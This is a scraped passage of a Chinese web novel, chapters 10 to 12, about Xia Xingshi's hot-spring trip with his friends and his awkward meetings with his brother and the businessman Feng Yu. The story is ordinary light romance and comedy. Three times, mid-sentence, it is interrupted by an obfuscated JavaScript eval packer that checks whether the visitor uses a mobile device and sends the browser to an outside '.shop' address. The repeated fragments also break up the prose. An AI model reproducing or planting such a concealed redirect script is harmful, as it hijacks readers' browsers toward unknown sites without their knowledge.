两张相同的脸,带着相似的嘲讽表情,谁也不服谁的盯着对方,最终还是洛明琛先开口:“哥哥只是赢了。”
洛明瑾猛地挥起拳头,洛明琛仿佛未卜先知错身躲开:“哈~失败者的反击~”
攻击落空,洛明瑾并不意外,他收起拳头,重新端起草莓碗,绕开胞兄,离开厨房。
洛明琛跟着一起出来,坐到客厅的沙发上。
洛明瑾瞥了一眼身边的洛明琛,语调依然很冷:“你怎么想的。”
洛明琛眉头一皱:“跟你哥说话客气点。”
洛明瑾拳头握紧,很想往那张跟自己一样的脸上揍上一拳。但他也知道,很难。不只是他揍洛明琛很难,洛明琛也很难揍到他,毕竟从小到大他俩学的东西都一样——都是一个师傅,破不了招。
“我觉得跟小漂亮玩的游戏,应该要有点新意。比如,谈个恋爱?”洛明琛忽然笑了,整个人没力一样挂在洛明瑾身上,喉咙里不自觉的哼了声小调,璀璨的金发微微晃动。
那双清澈的碧色眼眸毫不遮掩的释放出恶意,满是天真的残忍。
洛明瑾瞬间就明白了哥哥的意思,他心中微动,指尖微微蜷缩,神经开始亢奋。
“不行,夏家……”
理智回归,精神的失落与空虚让他整个人都低落起来。
洛明琛低语:“谈个恋爱而已,分不清的是他,我们有什么错,我们只是太喜欢他了呀。”
洛明瑾双眼逐渐变得明亮,方才的萎靡一扫而空。
双胞胎对视一眼,笑容干净明媚。
10. 第 10 章
第二天下午,袁易开车来接夏星时。
袁易到的时候,夏星时正收拾豆包的日常用品,客厅有些乱,豆包趴在中间,左碰碰这个右摸摸那个,看见袁易进来也只是敷衍抬了下头,然后继续扒拉自己的玩具。
“呦,小狗洗澡了啊。”袁易眼尖,一下子就发现豆包翻新了。
昨天夏星时跟“弟弟”说要带豆包去洗澡并非托辞,他是真的有带小狗洗澡。
豆包平时是一只亲人的小乖狗,但洗澡的时候就会变身大魔王,而且特别会窝里横,出去洗对大家都好。
“厨房有草莓,你边吃边等。”夏星时招呼袁易。
他们原计划是明天才出去玩,但由于另外两个不在场的过于兴奋,临时将汇合日提到了今天晚上。
袁易问了一嘴:“要不要我帮你?”
“不用,没剩什么了,而且主要都是它的东西。”夏星时盘腿坐在地上,顺手摸了下豆包。
“那我整不明白,你加油吧。”袁易蹲下来,轻拍两下狗头,小声跟豆包蛐蛐,“听懂没,他说你事多呢。”
小狗歪头:“汪唔?”
看得出来,豆包听不懂。
夏星时挑挑拣拣,但还是收拾出两个大袋子。他把袋子拎到门口,然后扭头去卧室,没两分钟他背了个包出来。
相比于门口的两个袋子,这个包看起来明显轻便许多。
“完事了?”袁易见状赶忙把最后两颗草莓塞进嘴里,含糊不清地问,“走吗?”
夏星时:“走,帮我牵狗。”
袁易:“好嘞!”
袁易牵起狗绳在前面带路,手里还顺了个苹果:“我后备箱空的,东西都放后备箱就行,然后你和豆包在后座坐着。”
他车就停在楼下,出楼门就能远程开锁。
“怎么又换车了。”夏星时把东西放进后备箱,顺口一问。
袁易把豆包引到后座:“过年那两天有只猫钻发动机里了,底盘拆了才抓到。”
夏星时:“猫呢?”
袁易:“找领养了。我可不养这玩意,太麻烦了。”
吸吸别人家养好的就行了。
夏星时合上后备箱甩甩手腕,深以为然:“确实。”
袁易捂住小狗耳朵,谴责夏星时:“别当着孩子面说啊,小狗可听不得这种话!”
豆包:“汪。”
袁易扭头,一本正经说:“看,小狗认可我。”
“不看,”夏星时从另一边钻进后座,系好安全带,“开车。”
袁易立正:“好嘞夏少。”
.
他们的目的地是一个度假山庄,温泉属于山庄特色项目,袁易定的是私汤,配套有个小院子,足够清净。
夏星时到的时候,徐渝和杨程已经到了,俩人坐在客厅啃冰棍。
“不是,哥们,你俩要在这安家啊。”袁易对屋里的“垃圾”指指点点。
杨程:“休要污我清白!只有那四个盒子是我的,剩下都是这货的!”
“我带的全是必须品!”徐渝三两口吃掉冰棍,直奔行李箱,“身为一个游戏博主,带一个屏幕很正常吧;我走的可是颜值赛道,打光灯要带的吧。”
“还有三脚架、鼠标键盘两套、腕托、机箱……”
袁易瞪大了眼睛:“我记得这屋里有电脑。”
他定的本来就是“特色电竞小院”,其中一个屋就是游戏房,里面配了两个电脑且配置不低。
徐渝梗着脖子说:“这都是我习惯的设备!换了手感不好,这也就是我怕麻烦,要不然我非得把椅子也带过来。”
杨程:“介个嘛就是差生文具多噻。”
就徐渝那种操作,竟然也敢提手感。
“说不定咱们豆包打的都比你强。”杨程走到夏星时身边,然后直接把自己埋在豆包身上,狂吸两口,“嘿嘿嘿,小狗,可爱小狗。”
豆包委委屈屈哼唧了两声。
夏星时叹气:“撒开吧,它要上厕所。”
杨程一个弹跳后撤远离狗子。
“你过敏,注意点。”夏星时说。
杨程仰头:“爱有时是不可触碰,越得不到的越让人心痒。”
大艺术家日常发癫。
袁易从豆包的行李里翻出折叠大笼子:“这个放你屋还是放客厅?”
“我屋。这玩意关不住它,之前我姐把它放客厅,半夜自己开门进厨房了。”
袁易一本正经:“要我说,你们别耽误孩子考大学。”
夏星时:……
袁易定的这间小院是个二楼小院,一层是影音室、电竞房,卧室在二层,夏星时把选房间的事交给了小狗。
他把豆包的窝安装好出来,袁易和杨程正在楼下拆杨程带来的四个箱子。
夏星时问:“渝子呢?”
“调试直播设备咯。”杨程此时刚好拆箱完毕,他将拆出来的VR设备举过头顶,“登登登!我特意定制的联机版,里面有我做的素材,这样没有绘画功底的人也能通过组装拼接参与到我的惊世创作中,怎么样,惊不惊喜?”
袁易嘴角扯了下:“你的意思是,你搞出一个VR版我的世界?”
杨程倒吸了一口凉气:“难道你是天才!”
袁易立刻撒手,盒子“哐当”掉地,他居然碰了这么晦气的东西!
“轻拿轻放!这可是高科技!”杨程面露心痛,将设备取出轻拍两下表示安抚,“还好没坏。”
“那真是太遗憾了。”袁易语气充满了可惜。
杨程忽略袁易,转头看向夏星时,眼神神似方才的豆包:“玩会儿呗。”
夏星时眼神飘忽一下,指了下腿边的豆包:“今天还没遛它呢,你知道的,为了小狗的身心健康,它是必须要出门溜达的。”
豆包歪头。
杨程计划的旷世大作,实在是太废肝,没有他那样坚定的心很难持续抱有热情,就算是夏星时也想稍微偷点懒。
杨程忽然握住夏星时的手,泪眼婆娑,声嘶力竭:“夏哥,夏爹,夏爷!”
夏星时拼尽全力未能挣脱:“……遛完就回来。”
“行,你走吧。”得到肯定答案杨程立刻撒手,带上VR眼镜往沙发上一躺一窝,动作行云流水,比豆包还像一条狗。
小院的格局有点类似联排别墅,院子和院子临着,这边除了一条开车出入的大路外,其余都是石头搭出来的小路,路两边基本都是常绿树,就算是冬天,景色也不差。
夏星时带着豆包溜达,一个没注意跑到温泉酒店停车场这边,他正打算带着豆包返程,视线忽然扫到两个熟悉的身影。
.
“也不不知道你急什么,想弄那群老东西用什么方法不行。稳一点不行吗?”夏元岑合上车门,嘴里念叨个不停。
封煜从另一侧下车,整理袖子权当没听见。
他和夏元岑在这方面理念不合。
夏元岑:“不过也是,你处境跟我不一样。”
夏元岑当初开始接手家族企业的时候还有一个爹能兜底,不说想干什么就干什么吧,那也是肆无忌惮,靠老爹保驾护航,权力交接相当平稳。
对比下来封煜那边就显得有点可怜了,“先帝”走得急,留下一堆烂摊子,虽然有遗嘱证明“正统”,但真实情况就是主少国疑、旧臣奸臣把握朝政。
“你爸妈那边……哎?我弟!”夏元岑还想说点什么,忽然听见两声狗叫,他循着声音望去,看见豆包朝他奔来。
封煜捕捉到关键词,眉头猛地一跳。
豆包兴奋狂奔,夏星时只能紧紧牵着绳跟着一起跑。
豆包一跑到夏元岑面前就疯狂摇尾巴。
夏元岑对豆包恶语相向:“笨狗!又认错人了!”
他嘴上恶狠狠的,身体却诚实的蹲了下去,并跟小狗握了下手完成本次会晤。
“哥,”夏星时先跟亲哥打招呼,然后才看向封煜,他眼神飘忽了一下才开口,“封哥,好巧啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109968|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见封煜和他哥站在一起,夏星时终于明白封哥为什么那么喜欢上班了。
……因为封哥就是那个“没人性的老板”本人啊!
夏元岑身份地位摆在这,能和他合作交流的大概率也是同级别的人,这点夏星时还是能看明白的。
再一想到他之前居然用批评老板的方式妄图和封哥破冰。
这不就是当着本人说坏话吗?
二姐给的信息全是错误信息啊!
“嗯?”逗小狗的夏元岑仰起头,很是意外,“你们认识啊?”
夏星时低声解释:“过年那段时间就是封哥帮忙照顾豆包的。”
关于夏元瑾把豆包托付给闺蜜周莉,但周莉过年被迫相亲只能把任务外包给自己表弟的事情,夏元岑略有耳闻。
所以,封煜是周莉表弟??
夏元岑神情微微茫然,眼神都变得有些清澈了。
但是,这好像不对吧……
“怎么了哥?”夏星时敏锐发现大哥表情的变化,欣然开口。
众所周知,人在尴尬的时候就喜欢找人说话。
夏元岑随意抬了下镜框,语气漫不经心:“哦,我在想,我和老封也算是亲上加亲了。”
夏星时没跟上思路:“啊?”
“弟啊,你的幽默感何时才能跟上家族平均水平?”夏元岑随意批评了一下不成器的弟弟,随后话锋陡然一转,“你和袁易他们来这玩?哪个院?”
他还是挺了解自己弟弟的,如果不是和朋友出来玩,他弟是不会来温泉这种地方的,应该是会找个山钻进去,或者玩点什么极限运动,总之不太令人省心。
夏星时:“二号院。”
“行,顺路,我俩在一号院,一起走。”夏元岑揽住弟弟,转头看向封煜,“他们几个肯定弄好吃的了,咱俩去蹭点。”
夏星时本来想拒绝他哥,但感受到肩膀上传来的力量,确认他哥可能是找他有事。
他把婉拒的话咽下去,顺着他哥的话对封煜说:“嗯,准备了烧烤和火锅,来吧,人多热闹。”
于是返程的路上多了两个男人。
夏元岑主动接过豆包得狗绳,而得到小狗的夏元岑立刻就不跟人玩了,和豆包大步向前,留夏星时和封煜两个在后面。
林子静谧,偶有微风拂过,豆包汪了几声,藏在灌木里的麻雀顿时受惊飞起,只留下几声清脆鸟鸣。
夏星时看着哥哥的背影,主动承担起社交的重任:“你和我哥关系真好啊。”
封煜:?
何以见得?
他没忍住转头看向夏星时。
“我哥在外人面前还是挺稳重的,只有在朋友面前才会有点嗯……解放天性。”夏星时解释一句,然后接着说,“而且我也没想到你们俩会认识,真的太巧了。”
姐姐闺蜜的表弟和哥哥是朋友。听着甚至像是脑筋急转弯!
封煜平静道:“七人定律,很正常。”
七人定律:任何两个陌生人之间最多通过五个或者六个中间人就能建立联系。
夏星时沉默片刻,语气有些萎靡地问:“哥,我们要不还是别聊学术定义了吧。”
不是不懂,但好好的聊闲,何苦开一个糟糕的头呢?
要不我还是陪狗去吧。夏星时迫切的想和哥哥换个位置。
“……嗯。”
封煜微微侧头,用余光瞄着夏星时。
封煜当然知道夏星时是夏元岑的弟弟,虽然他一直在避免接触夏星时,但不可能会因为区区一个夏星时放弃和夏家的合作。
这次约夏元岑出来是商业性赔礼,前两天的事他没提前跟夏元岑打招呼,导致夏元岑没准备,手底下的几个联合小项目至少要停摆两个月。
但没想到居然会碰见夏星时。
而且……
封煜想到夏星时刚才那声软软糯糯的“哥”。
果然么,明明已经有了另一个更感兴趣的玩具,却还是没放弃他。
11. 第 11 章
回到二号小院时,香辛料炙烤出诱人的气味,油脂油脂滴落到碳上,发出噼里啪啦的响声。
豆包兴奋地汪了一声。
在烤架旁忙活的袁易听见狗叫立刻抬头,兴奋道:“星时,腰子马上烤……岑、岑哥?”
在看清牵着豆包的是谁时,他的兴奋戛然而止。
夏星时眼睁睁看见三个小伙伴眼里瞬间失去了光芒。
谁懂啊家人们,出门玩的正开心,结果碰见家长了!
就是你把敌人带到泉水的吗?!
夏星时顶着小伙伴控诉的眼神,硬着头皮说:“出门碰见我哥了,他过来看看,吃点就走。”
撑住!家长马上就走!
袁易这才稍微捡起眼里的光,他端正身体举起羊肉串,言不由心:“正好,岑哥,刚烤好的羊肉串,来点?”
夏元岑走近,顺手接过串,随意扫了眼烤架,乐了:“腰子韭菜生蚝?挺补。”
袁易急了:“岑哥!我们只是单纯喜欢吃,这边还有烤茄子靠豆角呢!”
旁边的徐渝和杨程同时小鸡啄米式点头。
纯爱吃!纯爱吃!
就算你是夏元岑也不可以污蔑毁谤我们!
夏元岑没接茬:“给我来两串肉。”
袁易拿盘子上供十串。
夏元岑迅速撸掉羊肉串,含糊不清地跟封煜说:“我把豆包牵进去,马上出来,你先搁外面吃着。”
说着,他一手牵着豆包,一手揽着夏星时进屋。
夏星时被带进屋,顺手关上门:“哥,到底什么事啊,你把封哥一个人放外面多不好呀。”
且不说他今天是跟朋友玩,他哥没提前打招呼硬跟过来,还能算和袁易三个也认识,碰巧遇见了所以过来看看,勉强说得过去。
但封哥和其他人又不认识,现在还把人单独放在陌生环境和陌生人尬聊。两边都尴尬。
能让他哥无视这些最基础的人情世故,侧面说明他哥和封哥关系的确不错,但是封哥毕竟是i人……
等等!封哥之前该不是懒得理我吧?
当看见封煜和夏元岑站在一起的时候,夏星时就推翻之前对封煜是“过年被迫加班的苦逼打工人”的刻板印象了。
毕竟能和他哥谈工作的,大概率不会是什么小员工,而高管更不可能会不善言辞。
更可能的是,虽然他并不认识封哥,但封哥其实是认识他的。而作为他哥的合作伙伴,封哥大概把他当小孩了,导致没有共同语言,所以才会表现有些寡言。
没错没错,就是这样的!夏星时成功说服自己。
“有什么不好的?”夏元岑随口反问,他也没想着弟弟回应,自顾自的说着,“哎,封煜是周老爷子的外孙你知道不?”
夏星时的大脑接收信息,然后在处理信息这一步瞬间宕机。
他眼神茫然:“我不知道啊。”
他又不姓周,我很难联想的呀!
“好,现在你知道了!”夏元岑把豆包的狗绳卸了,一屁股坐在椅子上。
夏星时大脑重启完毕:“所以周叔是周爷爷的儿子?周爷爷什么时候多了个儿子?私生子吗?等等等等,不对,以周家在医药行业的地位,周叔完全没必要和咱们家合作啊。”
这就是信息不对等造成的局面。
夏元岑只知道封煜是周老爷子的外孙、夏元瑾只知道周莉是周叔的闺女、夏星时只知道封煜是周莉姐的表弟!
三方信息一对,出事了!
夏星时顿时明白他哥为什么着急找他了。
他哥怀疑自己被做局了!往大了说,他们家可能被做局了!
夏星时:“不对啊,周叔是不是周爷爷的儿子,咱爸肯定知道啊,而且二姐和莉姐关系那么好,咱爸不可能没调查过莉姐啊。”
夏家不是那种对孩子掌控欲特别强的家庭,但家庭情况摆在这,最基本的背调还是有的。
而且他爹本来就是那种看热闹的性格,周爷爷要是有私生子,不可能逃得过他爹的眼睛。
“恭喜你!你已经学会抢答啦!”夏元岑双眼一亮,语气振奋,“我正打算给爸打个电话咨询一下,所以一会你去陪你封哥说说话,给我争取亿点时间。”
夏星时看着他哥从兜里掏出一小包瓜子,以及怎么遮掩不下去的兴奋神情。
咨询?你确定不是去吃瓜?
夏星时立刻恍然——被做局的原来是我自己。
像是知道夏星时在想什么,夏元岑面色一正:“哥是那种忽悠你的人吗?主要是今天哥本来过来就是签合同的,现在忽然知道这些事,哥也很乱,万一哥真被骗了,你也不想自己好好的富二代忽然破产吧!”
夏星时头顶冒出一个问号,已经这么严重了吗?
夏星时明知道大哥是在胡说八道,但他还是思考片刻然后说:“也不是不行,需要争取多久?”
他当然不是被哥哥的胡言乱语欺骗到了,主要是大哥看起来是真的很想吃这口新鲜瓜。那还能怎么办呀,宠宠哥哥呗,大不了下次多要点零花钱。
夏元岑比了个三。
夏星时松了口气:“三十分钟?行。”
这点时间他稳得住。
夏元岑打断道:“是三个小时。”
夏星时:?
这口气松早了!
夏星时急了:“三个小时?你俩要唠啥啊!而且谁泡温泉泡三个小时啊!”
“冷静冷静,主要是我觉得这个瓜挺大的,你还不知道吧,封煜他|妈和咱爸之前有婚约来着,但是订婚宴前一天和别人私奔了。总之这个瓜肯定是一个全方位甚至一不小心吃到自己身上,之前一直没机会问,这次必须问清楚了!”
夏星时的眼神变得更加清澈了。
啊?
“我有点乱,你等我捋捋。”
夏元岑不给弟弟想清楚的时间,把豆包放进屋里后直接推着夏星时往外走。
他走到外面,跟袁易交代:“我带星时去隔壁待会,晚一点他就回来,你们先玩着。”
袁易三人忙说好好好,并朝夏星时投去“兄弟,有事你是真抗啊”的眼神。
封煜拿起两串烤豆角起身,本想跟袁易三个表达一下谢意以及夸奖一下烧烤水平,但见三人拒绝了自己的眼神接触,遂放弃。
袁易看着夏元岑和封煜离开的背影,轻呼一口气:“还好星时在,要不然我都想回家躺板板了。”
杨程面露沉思:“有没有一种可能,就是夏星时把人引过来的?”
“正所谓成也萧何败萧何。”徐渝仰头干了一杯黑色碳酸小饮料,“我只是一个平平无奇的富二代,只想平平安安享受一辈子吃喝玩乐的幸福,各路仙佛,我愿奉献出自己的童子身,换取日后不再见那个姓封的。”
杨程:“你想得挺美啊!”
身为不学无术的废物富二代,家里人对他们的要求就是别创业、别掺和家里的企业,三人也深以为然——能躺平为什么要努力?
别人努力是扶摇直上九万里,他们努力可能是粉身碎骨浑……总之,上进是不可能的这辈子都不可能。
其实,如果是其他人,徐渝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109969|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不至于怂成这样,主要是封煜前两天动不讲武德,猝不及防整了个行业大清扫,不巧,徐家刚好属于那个行业。
如果不是夏星时提了一嘴,他徐二少爷现在应该在家里的别墅等着亲爹接受调查,然后因为业务无法开展导致现金流断裂最后只能无奈破产。
他差点就不是富二代了!
巨鲸没有针对你,却轻而易举的杀死了你。
他们家肯定没有什么大毛病,但这玩意只要上称,那就是小毛病一堆,耗也能把人耗死。
徐渝家里的事,杨程和袁易也多少听说了,这次出来玩,也是徐渝催的最急。
夏星时可能不在乎,但他不能不表示。
杨程:“不过也不算完全的坏事,一鲸落万物生嘛。过一阵子你家就可以蚕吞市场份额了。”
徐渝笑了:“嘿嘿,我爸昨天发了个朋友圈‘祸兮福之所倚,福兮祸之所伏’。果然,六十岁正是拼搏的年纪!”
袁易举起饮料,感叹道:“敬生活,敬自由。”
.
一辆白色小电动极速行驶,随后一个漂亮的甩尾漂移,最终稳稳停在一号院门前。
驾驶员在电动车停下后立马下车作势向前跑,随后却踉跄两步,骂骂咧咧两句:“我靠!这破路,颠的我腚疼!”
周枫也是不懂了,这些号称纯天然、高端定制,就非得整什么鹅卵石、跳跃小石板吗?别说电动车了,腿着走也难受啊!柏油马路这么伟大的发明为什么不用!
“我说老板,你和夏总怎么直接过来了,庄园经理还候着你俩呢。”周枫边说边从胸口的包里掏出一份文件递给封煜。
封煜翻了下文件,确认无误,随口问:“还有事?”
周枫掏出手机:“大事没有,就是沈氏那边后天有个晚宴邀请您出席,说是要给沈老爷子祝八十大寿,前半场是慈善晚宴,后半场是商业交流,流程倒是很常规,不过这个通知的节点很怪,加上近期我们和沈氏有点小摩擦,暂时不确定对面是什么意思,所以我还没回复。”
后天的晚宴,今天都快过去了才通知,相当于只提前一天。祝寿礼、慈善晚宴的拍品,哪个不需要准备准备?
而且众所周知,临时的邀约都是客套。
周枫接着说:“不过吧,也有可能真是失误,毕竟打工人惹出什么篓子都不稀奇。”
封煜收起文件,语气平静:“跟他们说收到了。”
周枫大失所望:“真去啊,后天我还想休假呢。”
封煜看了眼周枫,转身就走。
如果不是周枫专业素养真的过硬,封煜是真想换个助理。
周枫踮脚:“那老板,您和夏总不去大厅,原来定好的餐我和小张就吃了啊,也不是贪图那点饭,主要是都做好了,不吃就浪费了,还有那个推拿按摩……”
封煜不语,只一味的加快脚步。
“嘿嘿嘿,”周枫见老板进了院子,重新坐上小电驴,看着下山的路,笑声戛然而止,喃喃道:“腚的伤害起码需要一只帝王蟹才能抚平。”
也可能是两只!
封煜拿到文件,换上浴袍往后院汤泉那边走。
说给夏元岑赔礼当然不可能只是单纯泡个温泉,商业上的事该赔款就赔款、该赔业务就赔业务,别消耗所谓的私人交情。
这次夏元岑吃了点亏,这笔账尽快补上,接下来的合作才好继续推进下去。
封煜计划的很好。
直到他在门口看见温泉池里的是夏星时。
封煜:?
我还没准备好。
12. 第 12 章
夏星时他们选的这家汤泉主营两种项目,一个是山下那边的汤泉洗浴,项目丰富——按摩洗浴游泳自助桑拿ktv电竞房室内漂流一应俱全。价格也相对适中,比较适合聚会放松。
缺点呢就是不够私密,尤其是过夜的时候,会感觉人与人之间一下去失去了边界感。
当然,这种无伤大雅的小缺点只要加钱就能解决。
小加一点可以得到独立按摩房,大加也就是第二个主推项目——庄园式私汤。在休闲娱乐同时享受私密空间,以及一对一管家式高端服务。
这种高规格和高私密性,同时也在一定程度上锚定了受众。
也正因如此,设计师对庄园的设计,具有一定的小巧思,全是值得品味的细节。
温泉池和房间的隔断是一扇巨大的落地窗,中间隔着一条不宽不窄的鹅卵石小道,站在房间里温泉池尽收眼底。
池边的休闲椅尾端脚踏连接着温泉,角度倾斜的刚刚好,躺在上面,小腿会恰到好处的落进池中。
封煜的视线不自觉地落在被池水包裹住骨肉匀称的白皙小腿上。
说实话,对于夏元岑不见踪影只剩夏星时这件事,封煜有点意外,但又没那么意外。
甚至有种“果然如此”的踏实感。
自己毕竟是夏星时新发现的玩具。
新玩具嘛,总要玩一下再扔。
.
二号院。
杨程三人把烤台搬到了温泉池子这边,院里白气升腾,传出香辛料炙烤出的美味气息。
杨程手持烤串,看见空荡荡的温泉池,轻啧一声:“不是哥们,不放温泉来什么温泉馆?”
往烤炉里添碳袁易和徐渝同时发出一声呵呵。
虽然来了温泉山庄,但他俩压根就没准备泡汤,提前跟管家说了不放温泉。倒不是不想泡,主要是防着杨程——这货提高了袁易对玩艺术的刻板印象。
杨程闻声原地蹦起,面露怒容:“你们这是以小人之心度君子之腹!我对夏少那是纯欣赏!是对艺术的崇高敬意!是艺术!”
徐渝指挥:“串串串!翻面翻面!”
袁易手腕翻转,幽幽叹气:“这地方可不如前院适合烧烤。”
徐渝:“谁说不是呢。”
前院又宽敞视野又开阔,但只要想到一墙之隔有个“家长”在,他们就浑身不得劲,只能战略性转移根据地。
被无视的杨程凑过来:“哈喽哈喽?二位?能看见我吗?”
事实证明,你永远叫不醒两个装睡的人。
杨程轻叹一声,四十五度仰头望天:“这就是小团体吗?我感受到了排挤,三个人的友谊终究还是走到了今天。”
徐渝&袁易:……
徐渝的声音透着几分无力:“我真的很想揍他两拳。”
袁易双手合十:“施主,不要奖励他。”
徐渝:……
“话说这种目标客户不是什么正经人的地方你是怎么找到的?”杨程扭头看向徐渝。
“什么叫目标客户不是正经人?”徐渝没忍住接了茬,“抬头有星星、低头有温泉、平望有绿树草地、远眺能看山下都市夜景!多商务的地啊,哪不正经了?”
面对质问,杨程不动如山,伸出手从容地拿了两个烤串,一个送入口中,另一个指向池边的休闲椅:“用这种高度、这种角度把椅子焊在池子旁边你知道设计师的目的是什么吗?”
徐渝和袁易下意识摇头。
杨程邪魅一笑:“当然为了方便泡在池子里的把躺在椅子上的拽到水里嬉戏~乐~不~思~蜀~呀~”
徐渝满头问号:“哈?”
袁易闻言扫视一圈却是露出若有所思的神情:“你别说你还真别说……好像是有点东西啊!”
徐渝:嗯?哥们演我?
“啧,朽木呀,玩你的小游戏去吧。”杨程发出灵魂嘲笑。
徐渝:?
现在你俩是一国的了?
杨程嘚瑟起来:“还有这地砖,池子里用的是白色,包裹池子的却漆黑透亮,这我都不用摸,肯定拔凉。”
徐渝狐疑,悄悄摸了一下,确实很凉:“你说有没有一种可能,地砖这玩意他都是凉的?”
杨程嘴角一歪,又发出一声对朽木的嘲笑。
袁易依然是若有所思。
徐渝凑近袁易:“佛爷,跟哥们说实话,是不是没听懂。”
袁易递给徐渝一把烤串,眼神透露出几分关爱与慈祥:“吃好喝好吧。”
杨程此时已经迈着优雅的小跳步来到池子中央,他抬高音调——
“啊!”
“白皙的脚踝和漆黑的砖石!光洁的砖面传来微微的凉意,雾蒙蒙的蒸汽裹挟着炙热的欲!”
“是色彩和温度碰撞!是视觉和触感的冲击!是冰火两重天的疯狂!”
“当所有的巧合汇聚在一起,那就不是巧合,是精心打造出来的艺术!”
在语调最高昂的时刻,杨程举起了铁签子,仿佛举起了一面艺术的旗帜!
袁易嚼着羊肉串,心想在夏星时回来之前,必须得把VR开开了,不然指不定杨程要疯成什么样子了。平时癫就癫了,今天家长在隔壁呢,必须要收敛。
差生徐渝嘴硬:“你纯联想,照你这么说,岑哥他……”
“哎哎哎,住嘴!”感知到关键词的杨程立刻收了神通,“少给我下套吼。我说的是‘目标客户’不是‘客户’。老板在表达自己对艺术的憧憬时也没有忘记面面俱到嘛。池子那边不是也有正经椅子,宽大舒适,那个角度还能看风景,主打一个宾至如归。虽然在我看来吧,那个位置还是有那么一点不情不愿的感觉。”
杨程说的那倆椅子的确在角落,的确不在视觉中心,但也可以说是一种设计。
杨程说着说着还有点心驰神往:“真希望有机会和老板探讨一下艺术啊。”
徐渝呵呵:“那探讨内容都过不了审吧。”
杨程坐在徐渝旁边,长叹一声:“我不怪你。毕竟以你贫瘠的想象力根本无法在脑海中描绘出绚丽的画面。我这种数值天赋怪啊~你学~不来的。像你这种毫无艺术细胞的凡人,想要了解这种高端艺术,必须需要一些启动条件才行。”
虽然徐渝的拳头已经硬了,但极度的好奇下,他还是选择先询问:“什么条件?”
“俗话说得好,时尚的完成度靠脸。那么同理可得,艺术的完成度——”
杨程朝着一号院努努嘴:“靠人咯。”
.
一号院,温泉池雾气朦胧,热气上升。
夏星时半躺在躺椅上,小腿自然没入温泉池,脚踝无意识摇晃拨弄着水,线条流畅的肌肉被荡漾的水波包裹住,影影绰绰,透着一种含蓄的诱-惑。
封煜不太懂艺术,也能没看出设计师的小巧思,他只觉得氛围暧昧的诡异。
夏星时举着手机,眼睛一眨不眨盯着屏幕,空下来的手摸索到果盘拿了颗大樱桃塞进嘴里。
快节奏短剧是时间加速器,而且看了就上头,让人全神贯注、忘乎所以。
自从不做梦了,他又把这糟粕的短剧捡了起来。
“夏星时。”
小夏同学隐约间好像听见有谁在叫自己,被短视频侵蚀的大脑慢了好几拍才反应过来,略带茫然抬起头才看见封煜站在旁边。
不知道夏星时刚才在温泉池干了什么,头发微湿,额间的发丝捋向脑后,露出饱满的额头,黑发柔软地垂在颈间,披在身上的浴袍不规矩的从第二个扣子系起,松松垮垮地露出大半个胸膛,看起来毫无防备,又乖又欲。
夏星时立刻坐直,将嘴里的樱桃推到右侧嚼嚼,鼓着腮帮子开口:“封哥。”
封煜的声音哑了半度:“你哥呢?”
他视线只敢落在夏星时脸上,可人眼的广度相当可怕。
“嗯……家里找他有点事,他怕你一个人无聊,所以让我过来陪你待一会。”夏星时眼神飘忽一下。
关于大哥偷跑去听八卦,而他居然要陪“被八卦”当事人聊天这件事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109970|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,夏星时也深感压力。
但以目前的状况,大哥去听八卦居然是必须事件。
就算大哥笃定封煜不会给他做局,可商业本来就是信息战,再怎么谨慎也不为过。
“这样啊。”封煜心不在焉,微垂下眼,遮住眼底的幽暗。
不得不说,在利用自己优势这方面,夏星时强的可怕。
甚至即便明知道夏星时性子恶劣,封煜也很难对夏星时升起什么恶感。
在对做夏星时玩具这件事上,封煜甚至有过一瞬间的动摇。
起码夏星时对于自己喜欢的玩具还是不错的。
可问题也出在这,夏星时的喜欢太短暂了。
夏星时嚼嚼樱桃,吐出樱桃籽,接着说:“封哥,你也知道,我大哥他只是代管公司,大事上他没什么话语权,经常要和我爸商量着来。”
夏星时这话说的对,但不完全对。夏元岑作为夏家第一序列且唯一序列继承人,确认他有能力继承家族事业且通过家族考核后,虽然爸爸还活着,但他对家族企业的控制度已经是绝对的了。
也许大事的确需要商讨、集思广益,求得稳一手。不过夏元岑想推进的项目,基本也不会有阻碍。
不过如果对比封煜和夏元岑的自由度,那肯定还是前者多一点。
因为夏爸还活着,而周老爷子已经没了。
夏星时没哄骗封煜大哥是什么临时有事,明说他哥就是跟他爸商量情况去了,态度上相当坦诚。
封煜也反应过来是怎么回事了——无外乎是因为舅舅和姥爷的关系。
